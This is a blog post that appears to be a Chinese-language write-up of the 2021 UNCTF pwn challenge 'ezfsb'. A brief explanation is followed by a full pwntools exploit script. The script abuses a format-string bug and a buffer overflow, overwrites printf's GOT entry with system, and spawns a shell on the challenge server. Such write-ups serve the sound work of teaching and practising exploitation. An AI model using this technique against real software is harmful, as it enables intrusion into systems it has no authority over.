[2021UNCTF]ezfsb

这题也是基础题,思路也明显。

格式化字符串修改两次check的值,再溢出返回main函数,再修改printf_got为system,溢出调用。

file

在做的时候本地倒是直接通了,远程环境有点奇怪,调了好久,尝试了很多方法。后来经师傅提醒加了p32(0),就通了,可能是栈帧溢出后重新调用出的问题,没用清除之前的字符。

exp:

from LibcSearcher import*
p=remote('node2.hackingfor.fun',32398)
#p=process('./pwn')
context.log_level='debug'
elf=ELF('./pwn')
printf=elf.got['printf']
printf_got=elf.got['printf']
buf=0x0804A050
code=0x0804A04C
system=0x08048410
main=0x0804854B
payload1=fmtstr_payload(5,{buf:0x2})
p.sendafter('canary is hard!\n',payload1)
#gdb.attach(p)
#pause()
payload2=fmtstr_payload(5,{code:0x1001})
p.sendafter('check right\n',payload2)
payload3=b'\xaa'*0x78+p32(main)
p.sendafter('good!\n',payload3)
payload4=p64(0)
p.sendafter('canary is hard!\n',payload4)
payload5=fmtstr_payload(5,{printf_got:system})+p32(0)
p.sendafter('check right\n',payload5)
payload6=b'\xaa'*0x78+p32(main)
p.sendafter('good!\n',payload6)
payload7=b'/bin/sh\x00'
p.sendafter('canary is hard!\n',payload7)
#gdb.attach(p)
p.interactive()

发表评论

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据